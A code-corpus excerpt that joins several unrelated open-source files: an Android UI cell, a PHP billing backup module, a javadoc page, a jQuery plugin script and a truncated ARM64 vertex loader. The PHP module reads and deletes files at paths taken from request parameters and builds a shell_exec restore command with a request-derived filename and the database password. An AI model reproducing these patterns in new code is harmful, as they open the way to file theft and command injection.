this(context, 21, 70, false);
}
public NotificationsCheckCell(Context context, int padding, int height, boolean reorder) {
super(context);
setWillNotDraw(false);
currentHeight = height;
if (reorder) {
moveImageView = new ImageView(context);
moveImageView.setFocusable(false);
moveImageView.setScaleType(ImageView.ScaleType.CENTER);
moveImageView.setImageResource(R.drawable.poll_reorder);
moveImageView.setColorFilter(new PorterDuffColorFilter(Theme.getColor(Theme.key_windowBackgroundWhiteGrayIcon), PorterDuff.Mode.MULTIPLY));
addView(moveImageView, LayoutHelper.createFrame(48, 48, (LocaleController.isRTL ? Gravity.RIGHT : Gravity.LEFT) | Gravity.CENTER_VERTICAL, 6, 0, 6, 0));
}
textView = new TextView(context);
textView.setTextColor(Theme.getColor(Theme.key_windowBackgroundWhiteBlackText));
textView.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 16);
textView.setLines(1);
textView.setMaxLines(1);
textView.setSingleLine(true);
textView.setGravity((LocaleController.isRTL ? Gravity.RIGHT : Gravity.LEFT) | Gravity.CENTER_VERTICAL);
textView.setEllipsize(TextUtils.TruncateAt.END);
addView(textView, LayoutHelper.createFrame(LayoutHelper.MATCH_PARENT, LayoutHelper.WRAP_CONTENT, (LocaleController.isRTL ? Gravity.RIGHT : Gravity.LEFT) | Gravity.TOP, LocaleController.isRTL ? 80 : (reorder ? 64 : 23), 13 + (currentHeight - 70) / 2, LocaleController.isRTL ? (reorder ? 64 : 23) : 80, 0));
valueTextView = new TextView(context);
valueTextView.setTextColor(Theme.getColor(Theme.key_windowBackgroundWhiteGrayText2));
valueTextView.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 13);
valueTextView.setGravity(LocaleController.isRTL ? Gravity.RIGHT : Gravity.LEFT);
valueTextView.setLines(1);
valueTextView.setMaxLines(1);
valueTextView.setSingleLine(true);
valueTextView.setPadding(0, 0, 0, 0);
valueTextView.setEllipsize(TextUtils.TruncateAt.END);
addView(valueTextView, LayoutHelper.createFrame(LayoutHelper.WRAP_CONTENT, LayoutHelper.WRAP_CONTENT, (LocaleController.isRTL ? Gravity.RIGHT : Gravity.LEFT) | Gravity.TOP, LocaleController.isRTL ? 80 : (reorder ? 64 : 23), 38 + (currentHeight - 70) / 2, LocaleController.isRTL ? (reorder ? 64 : 23) : 80, 0));
checkBox = new Switch(context);
checkBox.setColors(Theme.key_switchTrack, Theme.key_switchTrackChecked, Theme.key_windowBackgroundWhite, Theme.key_windowBackgroundWhite);
addView(checkBox, LayoutHelper.createFrame(37, 40, (LocaleController.isRTL ? Gravity.LEFT : Gravity.RIGHT) | Gravity.CENTER_VERTICAL, 21, 0, 21, 0));
checkBox.setFocusable(true);
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
if (isMultiline) {
super.onMeasure(MeasureSpec.makeMeasureSpec(MeasureSpec.getSize(widthMeasureSpec), MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED));
} else {
super.onMeasure(MeasureSpec.makeMeasureSpec(MeasureSpec.getSize(widthMeasureSpec), MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(AndroidUtilities.dp(currentHeight), MeasureSpec.EXACTLY));
}
}
public void setTextAndValueAndCheck(String text, CharSequence value, boolean checked, boolean divider) {
setTextAndValueAndCheck(text, value, checked, 0, false, divider);
}
public void setTextAndValueAndCheck(String text, CharSequence value, boolean checked, int iconType, boolean divider) {
setTextAndValueAndCheck(text, value, checked, iconType, false, divider);
}
public void setTextAndValueAndCheck(String text, CharSequence value, boolean checked, int iconType, boolean multiline, boolean divider) {
textView.setText(text);
valueTextView.setText(value);
checkBox.setChecked(checked, iconType, false);
valueTextView.setVisibility(VISIBLE);
needDivider = divider;
isMultiline = multiline;
if (multiline) {
valueTextView.setLines(0);
valueTextView.setMaxLines(0);
valueTextView.setSingleLine(false);
valueTextView.setEllipsize(null);
valueTextView.setPadding(0, 0, 0, AndroidUtilities.dp(14));
} else {
valueTextView.setLines(1);
valueTextView.setMaxLines(1);
valueTextView.setSingleLine(true);
valueTextView.setEllipsize(TextUtils.TruncateAt.END);
valueTextView.setPadding(0, 0, 0, 0);
}
checkBox.setContentDescription(text);
}
public void setDrawLine(boolean value) {
drawLine = value;
}
public void setChecked(boolean checked) {
checkBox.setChecked(checked, true);
}
public void setChecked(boolean checked, int iconType) {
checkBox.setChecked(checked, iconType, true);
}
public boolean isChecked() {
return checkBox.isChecked();
}
@Override
protected void onDraw(Canvas canvas) {
if (needDivider) {
canvas.drawLine(LocaleController.isRTL ? 0 : AndroidUtilities.dp(20), getMeasuredHeight() - 1, getMeasuredWidth() - (LocaleController.isRTL ? AndroidUtilities.dp(20) : 0), getMeasuredHeight() - 1, Theme.dividerPaint);
}
if (drawLine) {
int x = LocaleController.isRTL ? AndroidUtilities.dp(76) : getMeasuredWidth() - AndroidUtilities.dp(76) - 1;
int y = (getMeasuredHeight() - AndroidUtilities.dp(22)) / 2;
canvas.drawRect(x, y, x + 2, y + AndroidUtilities.dp(22), Theme.dividerPaint);
}
}
}
|
CzBiX/Telegram
|
TMessagesProj/src/main/java/org/telegram/ui/Cells/NotificationsCheckCell.java
|
Java
|
gpl-2.0
| 7,049
|
<?php
if (cfr('BACKUP')) {
set_time_limit(0);
$alterConf = $ubillingConfig->getAlter();
if (!wf_CheckGet(array('restore'))) {
if (isset($_POST['createbackup'])) {
if (isset($_POST['imready'])) {
if (!empty($alterConf['MYSQLDUMP_PATH'])) {
//run system mysqldump command
zb_backup_database();
} else {
show_error(__('You missed an important option') . ': MYSQLDUMP_PATH');
}
} else {
show_error(__('You are not mentally prepared for this'));
}
}
//downloading mysql dump
if (wf_CheckGet(array('download'))) {
if (cfr('ROOT')) {
$filePath = base64_decode($_GET['download']);
zb_DownloadFile($filePath);
} else {
show_error(__('Access denied'));
}
}
//deleting dump
if (wf_CheckGet(array('deletedump'))) {
if (cfr('ROOT')) {
$deletePath = base64_decode($_GET['deletedump']);
if (file_exists($deletePath)) {
rcms_delete_files($deletePath);
log_register('BACKUP DELETE `' . $deletePath . '`');
rcms_redirect('?module=backups');
} else {
show_error(__('Not existing item'));
}
} else {
show_error(__('Access denied'));
}
}
function web_AvailableDBBackupsList() {
$backupsPath = DATA_PATH . 'backups/sql/';
$availbacks = rcms_scandir($backupsPath);
$messages = new UbillingMessageHelper();
$result = $messages->getStyledMessage(__('No existing DB backups here'), 'warning');
if (!empty($availbacks)) {
$cells = wf_TableCell(__('Date'));
$cells.= wf_TableCell(__('Size'));
$cells.= wf_TableCell(__('Filename'));
$cells.= wf_TableCell(__('Actions'));
$rows = wf_TableRow($cells, 'row1');
foreach ($availbacks as $eachDump) {
$fileDate = filectime($backupsPath . $eachDump);
$fileDate = date("Y-m-d H:i:s", $fileDate);
$fileSize = filesize($backupsPath . $eachDump);
$fileSize = stg_convert_size($fileSize);
$encodedDumpPath = base64_encode($backupsPath . $eachDump);
$downloadLink = wf_Link('?module=backups&download=' . $encodedDumpPath, $eachDump, false, '');
$actLinks = wf_JSAlert('?module=backups&deletedump=' . $encodedDumpPath, web_delete_icon(), __('Removing this may lead to irreparable results')) . ' ';
$actLinks.= wf_Link('?module=backups&download=' . $encodedDumpPath, wf_img('skins/icon_download.png', __('Download')), false, '');
$actLinks.= wf_JSAlert('?module=backups&restore=true&restoredump=' . $encodedDumpPath, wf_img('skins/icon_restoredb.png', __('Restore DB')), __('Are you serious'));
$cells = wf_TableCell($fileDate);
$cells.= wf_TableCell($fileSize);
$cells.= wf_TableCell($downloadLink);
$cells.= wf_TableCell($actLinks);
$rows.= wf_TableRow($cells, 'row3');
}
$result = wf_TableBody($rows, '100%', '0', 'sortable');
}
return ($result);
}
function web_ConfigsUbillingList() {
$downloadable = array(
'config/billing.ini',
'config/mysql.ini',
'config/alter.ini',
'config/ymaps.ini',
'config/catv.ini',
'config/photostorage.ini',
'config/dhcp/global.template',
'config/dhcp/subnets.template',
'config/dhcp/option82.template',
'config/dhcp/option82_vpu.template',
'userstats/config/mysql.ini',
'userstats/config/userstats.ini',
'userstats/config/tariffmatrix.ini'
);
if (!empty($downloadable)) {
$cells = wf_TableCell(__('Date'));
$cells.= wf_TableCell(__('Size'));
$cells.= wf_TableCell(__('Filename'));
$rows = wf_TableRow($cells, 'row1');
foreach ($downloadable as $eachConfig) {
if (file_exists($eachConfig)) {
$fileDate = filectime($eachConfig);
$fileDate = date("Y-m-d H:i:s", $fileDate);
$fileSize = filesize($eachConfig);
$fileSize = stg_convert_size($fileSize);
$downloadLink = wf_Link('?module=backups&download=' . base64_encode($eachConfig), $eachConfig, false, '');
$cells = wf_TableCell($fileDate);
$cells.= wf_TableCell($fileSize);
$cells.= wf_TableCell($downloadLink);
$rows.= wf_TableRow($cells, 'row3');
} else {
$cells = wf_TableCell('');
$cells.= wf_TableCell('');
$cells.= wf_TableCell($eachConfig);
$rows.= wf_TableRow($cells, 'row3');
}
}
$result = wf_TableBody($rows, '100%', '0', 'sortable');
}
return ($result);
}
//tables cleanup
if (wf_CheckGet(array('tableclean'))) {
zb_DBTableCleanup($_GET['tableclean']);
rcms_redirect("?module=backups");
}
show_window(__('Create backup'), web_BackupForm());
show_window(__('Available database backups'), web_AvailableDBBackupsList());
show_window(__('Important Ubilling configs'), web_ConfigsUbillingList());
show_window(__('Database cleanup'), web_DBCleanupForm());
} else {
//database restoration functionality
if (cfr('ROOT')) {
if (!empty($alterConf['MYSQL_PATH'])) {
if (wf_CheckGet(array('restoredump'))) {
$mysqlConf = rcms_parse_ini_file(CONFIG_PATH . 'mysql.ini');
$billingConf = $ubillingConfig->getBilling();
$restoreFilename = base64_decode($_GET['restoredump']);
if (file_exists($restoreFilename)) {
if (($billingConf['NOSTGCHECKPID']) AND ( !file_exists($billingConf['STGPID']))) {
if (!isset($_POST['lastchanceok'])) {
$lastChanceInputs = __('Restoring a database from a dump, completely and permanently destroy your current database. Think again if you really want it.');
$lastChanceInputs.=wf_tag('br');
$lastChanceInputs.=__('Filename') . ': ' . $restoreFilename;
$lastChanceInputs.=wf_tag('br');
$lastChanceInputs.= wf_CheckInput('lastchanceok', __('I`m ready'), true, false);
$lastChanceInputs.= wf_Submit(__('Restore DB'));
$lastChanceForm = wf_Form('', 'POST', $lastChanceInputs, 'glamour');
show_window(__('Warning'), $lastChanceForm);
show_window('', wf_BackLink('?module=backups', __('Back'), true, 'ubButton'));
} else {
$restoreCommand = $alterConf['MYSQL_PATH'] . ' -u ' . $mysqlConf['username'] . ' -p' . $mysqlConf['password'] . ' ' . $mysqlConf['db'] . ' --default-character-set=utf8 < ' . $restoreFilename;
show_window(__('Result'), shell_exec($restoreCommand));
}
} else {
log_register("BACKUP RESTORE TRY WITH RUNNING STARGAZER");
show_error(__('You can restore database only with enabled NOSTGCHECKPID option and stopped Stargazer'));
show_window('', wf_BackLink('?module=backups', __('Back'), true, 'ubButton'));
}
} else {
show_error(__('Strange exeption') . ': NOT_EXISTING_DUMP_FILE');
}
} else {
show_error(__('Strange exeption') . ': GET_NO_DUMP_FILENAME');
}
} else {
show_error(__('You missed an important option') . ': MYSQL_PATH');
}
} else {
show_error(__('You cant control this module'));
}
//////////////////////////////////////////////////////
}
} else {
show_error(__('You cant control this module'));
}
?>
|
pautiina/Ubilling
|
modules/general/backups/index.php
|
PHP
|
gpl-2.0
| 9,024
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_51) on Mon Jul 21 11:18:42 EEST 2014 -->
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<title>Uses of Interface com.hazelcast.spi.MembershipAwareService (Hazelcast Root 3.2.4 API)</title>
<meta name="date" content="2014-07-21">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Interface com.hazelcast.spi.MembershipAwareService (Hazelcast Root 3.2.4 API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../com/hazelcast/spi/MembershipAwareService.html" title="interface in com.hazelcast.spi">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/hazelcast/spi/class-use/MembershipAwareService.html" target="_top">Frames</a></li>
<li><a href="MembershipAwareService.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Interface com.hazelcast.spi.MembershipAwareService" class="title">Uses of Interface<br>com.hazelcast.spi.MembershipAwareService</h2>
</div>
<div class="classUseContainer">
<ul class="blockList">
<li class="blockList">
<table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation">
<caption><span>Packages that use <a href="../../../../com/hazelcast/spi/MembershipAwareService.html" title="interface in com.hazelcast.spi">MembershipAwareService</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Package</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="#com.hazelcast.client">com.hazelcast.client</a></td>
<td class="colLast">
<div class="block">This package contains the serverside client functionality</div>
</td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<ul class="blockList">
<li class="blockList"><a name="com.hazelcast.client">
<!-- -->
</a>
<h3>Uses of <a href="../../../../com/hazelcast/spi/MembershipAwareService.html" title="interface in com.hazelcast.spi">MembershipAwareService</a> in <a href="../../../../com/hazelcast/client/package-summary.html">com.hazelcast.client</a></h3>
<table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing classes, and an explanation">
<caption><span>Classes in <a href="../../../../com/hazelcast/client/package-summary.html">com.hazelcast.client</a> that implement <a href="../../../../com/hazelcast/spi/MembershipAwareService.html" title="interface in com.hazelcast.spi">MembershipAwareService</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Class and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>class </code></td>
<td class="colLast"><code><strong><a href="../../../../com/hazelcast/client/ClientEngineImpl.html" title="class in com.hazelcast.client">ClientEngineImpl</a></strong></code> </td>
</tr>
</tbody>
</table>
</li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../com/hazelcast/spi/MembershipAwareService.html" title="interface in com.hazelcast.spi">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/hazelcast/spi/class-use/MembershipAwareService.html" target="_top">Frames</a></li>
<li><a href="MembershipAwareService.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2014 <a href="http://www.hazelcast.com/">Hazelcast, Inc.</a>. All Rights Reserved.</small></p>
</body>
</html>
|
danielvdwal/AVS_ParkingLot
|
Hazelcast/javadoc/com/hazelcast/spi/class-use/MembershipAwareService.html
|
HTML
|
gpl-2.0
| 6,311
|
jQuery(document).ready( function($) {
$('#bp-forum-notifier-toggle-subscription').live('click', function(e) {
e.preventDefault();
var subscribe_or_unsubscribe = $(this).data('action');
var nonce = $(this).data('nonce');
var group_id = $(this).data('group_id');
$.ajax({
type: "POST",
url: ajaxurl,
data: {
action: 'bp_forum_notifier_toggle_subscription',
nonce: nonce,
group_id: group_id,
subscribe_or_unsubscribe: subscribe_or_unsubscribe,
},
success: function(response) {
if ( response[0] != '-' ) {
$('#bp-forum-notifier-wrapper').html(response);
}
}
},"JSON");
});
// since this plugin handles the mailsubscriptions, lets remove the checkbox from the form.
$('#bbp_topic_subscription').remove();
$("label[for='bbp_topic_subscription']").remove();
});
|
klandestino/bp-forum-notifier
|
js/bp-forum-notifier.js
|
JavaScript
|
gpl-2.0
| 821
|
// Copyright 2015 Dolphin Emulator Project
// Licensed under GPLv2+
// Refer to the license.txt file included.
#include "VideoCommon/VertexLoaderARM64.h"
#include "Common/CommonTypes.h"
#include "VideoCommon/DataReader.h"
#include "VideoCommon/VertexLoaderManager.h"
using namespace Arm64Gen;
constexpr ARM64Reg src_reg = X0;
constexpr ARM64Reg dst_reg = X1;
constexpr ARM64Reg count_reg = W2;
constexpr ARM64Reg skipped_reg = W17;
constexpr ARM64Reg scratch1_reg = W16;
constexpr ARM64Reg scratch2_reg = W15;
constexpr ARM64Reg scratch3_reg = W14;
constexpr ARM64Reg saved_count = W12;
constexpr ARM64Reg stride_reg = X11;
constexpr ARM64Reg arraybase_reg = X10;
constexpr ARM64Reg scale_reg = X9;
alignas(16) static const float scale_factors[] = {
1.0 / (1ULL << 0), 1.0 / (1ULL << 1), 1.0 / (1ULL << 2), 1.0 / (1ULL << 3),
1.0 / (1ULL << 4), 1.0 / (1ULL << 5), 1.0 / (1ULL << 6), 1.0 / (1ULL << 7),
1.0 / (1ULL << 8), 1.0 / (1ULL << 9), 1.0 / (1ULL << 10), 1.0 / (1ULL << 11),
1.0 / (1ULL << 12), 1.0 / (1ULL << 13), 1.0 / (1ULL << 14), 1.0 / (1ULL << 15),
1.0 / (1ULL << 16), 1.0 / (1ULL << 17), 1.0 / (1ULL << 18), 1.0 / (1ULL << 19),
1.0 / (1ULL << 20), 1.0 / (1ULL << 21), 1.0 / (1ULL << 22), 1.0 / (1ULL << 23),
1.0 / (1ULL << 24), 1.0 / (1ULL << 25), 1.0 / (1ULL << 26), 1.0 / (1ULL << 27),
1.0 / (1ULL << 28), 1.0 / (1ULL << 29), 1.0 / (1ULL << 30), 1.0 / (1ULL << 31),
};
VertexLoaderARM64::VertexLoaderARM64(const TVtxDesc& vtx_desc, const VAT& vtx_att)
: VertexLoaderBase(vtx_desc, vtx_att), m_float_emit(this)
{
if (!IsInitialized())
return;
AllocCodeSpace(4096);
ClearCodeSpace();
GenerateVertexLoader();
WriteProtect();
}
void VertexLoaderARM64::GetVertexAddr(int array, u64 attribute, ARM64Reg reg)
{
if (attribute & MASK_INDEXED)
{
if (attribute == INDEX8)
{
if (m_src_ofs < 4096)
{
LDRB(IndexType::Unsigned, scratch1_reg, src_reg, m_src_ofs);
}
else
{
ADD(reg, src_reg, m_src_ofs);
LDRB(IndexType::Unsigned, scratch1_reg, reg, 0);
}
m_src_ofs += 1;
}
else
{
if (m_src_ofs < 256)
{
LDURH(scratch1_reg, src_reg, m_src_ofs);
}
else if (m_src_ofs <= 8190 && !(m_src_ofs & 1))
{
LDRH(IndexType::Unsigned, scratch1_reg, src_reg, m_src_ofs);
}
else
{
ADD(reg, src_reg, m_src_ofs);
LDRH(IndexType::Unsigned, scratch1_reg, reg, 0);
}
m_src_ofs += 2;
REV16(scratch1_reg, scratch1_reg);
}
if (array == ARRAY_POSITION)
{
EOR(scratch2_reg, scratch1_reg, 0, attribute == INDEX8 ? 7 : 15); // 0xFF : 0xFFFF
m_skip_vertex = CBZ(scratch2_reg);
}
LDR(IndexType::Unsigned, scratch2_reg, stride_reg, array * 4);
MUL(scratch1_reg, scratch1_reg, scratch2_reg);
LDR(IndexType::Unsigned, EncodeRegTo64(scratch2_reg), arraybase_reg, array * 8);
ADD(EncodeRegTo64(reg), EncodeRegTo64(scratch1_reg), EncodeRegTo64(scratch2_reg));
}
else
ADD(reg, src_reg, m_src_ofs);
}
s32 VertexLoaderARM64::GetAddressImm(int array, u64 attribute, Arm64Gen::ARM64Reg reg, u32 align)
{
if (attribute & MASK_INDEXED || (m_src_ofs > 255 && (m_src_ofs & (align - 1))))
GetVertexAddr(array, attribute, reg);
else
return m_src_ofs;
return -1;
}
int VertexLoaderARM64::ReadVertex(u64 attribute, int format, int count_in, int count_out,
bool dequantize, u8 scaling_exponent,
AttributeFormat* native_format, s32 offset)
{
ARM64Reg coords = count_in == 3 ? Q31 : D31;
ARM64Reg scale = count_in == 3 ? Q30 : D30;
int elem_size = 1 << (format / 2);
int load_bytes = elem_size * count_in;
int load_size =
load_bytes == 1 ? 1 : load_bytes <= 2 ? 2 : load_bytes <= 4 ? 4 : load_bytes <= 8 ? 8 : 16;
load_size <<= 3;
elem_size <<= 3;
if (offset == -1)
{
if (count_in == 1)
m_float_emit.LDR(elem_size, IndexType::Unsigned, coords, EncodeRegTo64(scratch1_reg), 0);
else
m_float_emit.LD1(elem_size, 1, coords, EncodeRegTo64(scratch1_reg));
}
else if (offset & (load_size - 1)) // Not aligned - unscaled
{
m_float_emit.LDUR(load_size, coords, src_reg, offset);
}
else
{
m_float_emit.LDR(load_size, IndexType::Unsigned, coords, src_reg, offset);
}
if (format != FORMAT_FLOAT)
{
// Extend and convert to float
switch (format)
{
case FORMAT_UBYTE:
m_float_emit.UXTL(8, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
m_float_emit.UXTL(16, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
break;
case FORMAT_BYTE:
m_float_emit.SXTL(8, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
m_float_emit.SXTL(16, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
break;
case FORMAT_USHORT:
m_float_emit.REV16(8, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
m_float_emit.UXTL(16, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
break;
case FORMAT_SHORT:
m_float_emit.REV16(8, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
m_float_emit.SXTL(16, EncodeRegToDouble(coords), EncodeRegToDouble(coords));
break;
}
m_float_emit.SCVTF(32, coords, coords);
if (dequantize && scaling_exponent)
{
m_float_emit.LDR(32, IndexType::Unsigned, scale, scale_reg, scaling_exponent * 4);
m_float_emit.FMUL(32, coords, coords, scale, 0);
}
}
else
{
m_float_emit.REV32(8, coords, coords);
}
const u32 write_size = count_out == 3 ? 128 : count_out * 32;
const u32 mask = count_out == 3 ? 0xF : count_out == 2 ? 0x7 : 0x3;
if (m_dst_ofs < 256)
{
m_float_emit.STUR(write_size, coords, dst_reg, m_dst_ofs);
}
else if (!(m_dst_ofs & mask))
{
m_float_emit.STR(write_size, IndexType::Unsigned, coords, dst_reg, m_dst_ofs);
}
else
{
ADD(EncodeRegTo64(scratch2_reg), dst_reg, m_dst_ofs);
m_float_emit.ST1(32, 1, coords, EncodeRegTo64(scratch2_reg));
}
// Z-Freeze
if (native_format == &m_native_vtx_decl.position)
{
CMP(count_reg, 3);
FixupBranch dont_store = B(CC_GT);
MOVP2R(EncodeRegTo64(scratch2_reg), VertexLoaderManager::position_cache);
ADD(EncodeRegTo64(scratch1_reg), EncodeRegTo64(scratch2_reg), EncodeRegTo64(count_reg),
ArithOption(EncodeRegTo64(count_reg), ShiftType::LSL, 4));
m_float_emit.STUR(write_size, coords, EncodeRegTo64(scratch1_reg), -16);
SetJumpTarget(dont_store);
}
native_format->components = count_out;
native_format->enable = true;
native_format->offset = m_dst_ofs;
native_format->type = VAR_FLOAT;
native_format->integer = false;
m_dst_ofs += sizeof(float) * count_out;
if (attribute == DIRECT)
m_src_ofs += load_bytes;
return load_bytes;
}
void VertexLoaderARM64::ReadColor(u64 attribute, int format, s32 offset)
{
int load_bytes = 0;
switch (format)
{
case FORMAT_24B_888:
case FORMAT_32B_888x:
case FORMAT_32B_8888:
if (offset == -1)
LDR(IndexType::Unsigned, scratch2_reg, EncodeRegTo64(scratch1_reg), 0);
else if (offset & 3) // Not aligned - unscaled
LDUR(scratch2_reg, src_reg, offset);
else
LDR(IndexType::Unsigned, scratch2_reg, src_reg, offset);
if (format != FORMAT_32B_8888)
ORRI2R(scratch2_reg, scratch2_reg, 0xFF000000);
STR(IndexType::Unsigned, scratch2_reg, dst_reg, m_dst_ofs);
load_bytes = 3 + (format != FORMAT_24B_888);
break;
case FORMAT_16B_565:
// RRRRRGGG GGGBBBBB
// AAAAAAAA BBBBBBBB GGGGGGGG RRRRRRRR
if (offset == -1)
LDRH(IndexType::Unsigned, scratch3_reg, EncodeRegTo64(scratch1_reg), 0);
else if (offset & 1) // Not aligned - unscaled
LDURH(scratch3_reg, src_reg, offset);
else
LDRH(IndexType::Unsigned, scratch3_reg, src_reg, offset);
REV16(scratch3_reg, scratch3_reg);
// B
AND(scratch2_reg, scratch3_reg, 32, 4);
ORR(scratch2_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 3));
ORR(scratch2_reg, scratch2_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 5));
ORR(scratch1_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 16));
// G
UBFM(scratch2_reg, scratch3_reg, 5, 10);
ORR(scratch2_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 2));
ORR(scratch2_reg, scratch2_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 6));
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 8));
// R
UBFM(scratch2_reg, scratch3_reg, 11, 15);
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 3));
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 2));
// A
ORRI2R(scratch1_reg, scratch1_reg, 0xFF000000);
STR(IndexType::Unsigned, scratch1_reg, dst_reg, m_dst_ofs);
load_bytes = 2;
break;
case FORMAT_16B_4444:
// BBBBAAAA RRRRGGGG
// REV16 - RRRRGGGG BBBBAAAA
// AAAAAAAA BBBBBBBB GGGGGGGG RRRRRRRR
if (offset == -1)
LDRH(IndexType::Unsigned, scratch3_reg, EncodeRegTo64(scratch1_reg), 0);
else if (offset & 1) // Not aligned - unscaled
LDURH(scratch3_reg, src_reg, offset);
else
LDRH(IndexType::Unsigned, scratch3_reg, src_reg, offset);
// R
UBFM(scratch1_reg, scratch3_reg, 4, 7);
// G
AND(scratch2_reg, scratch3_reg, 32, 3);
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 8));
// B
UBFM(scratch2_reg, scratch3_reg, 12, 15);
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 16));
// A
UBFM(scratch2_reg, scratch3_reg, 8, 11);
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 24));
// Final duplication
ORR(scratch1_reg, scratch1_reg, scratch1_reg, ArithOption(scratch1_reg, ShiftType::LSL, 4));
STR(IndexType::Unsigned, scratch1_reg, dst_reg, m_dst_ofs);
load_bytes = 2;
break;
case FORMAT_24B_6666:
// RRRRRRGG GGGGBBBB BBAAAAAA
// AAAAAAAA BBBBBBBB GGGGGGGG RRRRRRRR
if (offset == -1)
{
LDUR(scratch3_reg, EncodeRegTo64(scratch1_reg), -1);
}
else
{
offset -= 1;
if (offset & 3) // Not aligned - unscaled
LDUR(scratch3_reg, src_reg, offset);
else
LDR(IndexType::Unsigned, scratch3_reg, src_reg, offset);
}
REV32(scratch3_reg, scratch3_reg);
// A
UBFM(scratch2_reg, scratch3_reg, 0, 5);
ORR(scratch2_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 2));
ORR(scratch2_reg, scratch2_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 6));
ORR(scratch1_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 24));
// B
UBFM(scratch2_reg, scratch3_reg, 6, 11);
ORR(scratch2_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 2));
